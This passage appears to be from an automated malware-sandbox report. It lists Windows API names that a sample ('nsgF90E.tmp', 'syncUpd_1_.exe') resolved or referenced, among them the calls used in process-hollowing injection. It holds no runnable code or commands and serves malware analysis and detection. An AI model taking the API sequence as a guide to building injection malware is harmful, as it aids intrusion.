"GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00007428) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007012) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007012)31:Te740,Found reference to API (Indicator: "RegEnumValueW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegEnumKeyW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegQueryValueExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegSetValueExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegCloseKey"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegDeleteValueW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegDeleteKeyW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "OpenProcessToken"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegOpenKeyExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegCreateKeyExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHFileOperationW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHGetFileInfoW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ShellExecuteExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CoTaskMemFree"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "IIDFromString"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CoCreateInstance"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "OleUninitialize"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "OleInitialize"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "FillRect"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetClientRect"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "BeginPaint"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "DefWindowProcW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "InvalidateRect"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "EnableWindow"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ReleaseDC"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetDC"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "LoadImageW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "IsWindow"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "wsprintfW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ShowWindow"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetForegroundWindow"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "PostQuitMessage"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetWindowTextW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetTimer"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "DestroyWindow"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ExitWindowsEx"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CharNextW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateWindowExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SystemParametersInfoW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegisterClassW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ScreenToClient"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetWindowRect"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "EnableMenuItem"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetSystemMenu"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "IsWindowEnabled"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetWindowPos"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetSysColor"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetCursor"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "LoadCursorW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "IsWindowVisible"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CloseClipboard"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetClipboardData"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "EmptyClipboard"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "OpenClipboard"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "TrackPopupMenu"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "AppendMenuW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreatePopupMenu"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetSystemMetrics"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CharPrevW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CharNextA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "wsprintfA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "DispatchMessageW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "PeekMessageW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SelectObject"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateFontIndirectW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "DeleteObject"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetDeviceCaps"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "MulDiv"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "DeleteFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "FindFirstFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "FindNextFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "FindClose"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetFilePointer"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ReadFile"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "MultiByteToWideChar"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrlenA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "FreeLibrary"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "LoadLibraryExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetModuleHandleW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GlobalAlloc"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GlobalFree"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcmpW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcmpiW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CloseHandle"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetFileTime"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CompareFileTime"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SearchPathW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetShortPathNameW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetFullPathNameW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "MoveFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetFileAttributesW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetFileAttributesW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "Sleep"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetTickCount"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetFileSize"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetModuleFileNameW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetCurrentProcess"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "ExitProcess"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CopyFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetTempPathW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetCommandLineW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetVersionExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetErrorMode"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrlenW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcpynW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "WideCharToMultiByte"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GlobalUnlock"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GlobalLock"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateThread"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetLastError"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateDirectoryW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateProcessW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RemoveDirectoryW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcmpiA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "CreateFileW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetTempFileNameW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "WriteFile"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcpyA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "MoveFileExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "lstrcatW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetProcAddress"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetModuleHandleA"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetExitCodeProcess"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "WaitForSingleObject"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "VerQueryValueW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHGetFolderPathW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API (Indicator: "VirtualProtect"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "MessageBoxW"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "GetActiveWindow"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "GetLastActivePopup"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "GetProcessWindowStation"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "FlsAlloc"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "FlsGetValue"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "FlsSetValue"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "FlsFree"; File: "syncUpd_1_.exe.1537521071") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetFileInfoW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: 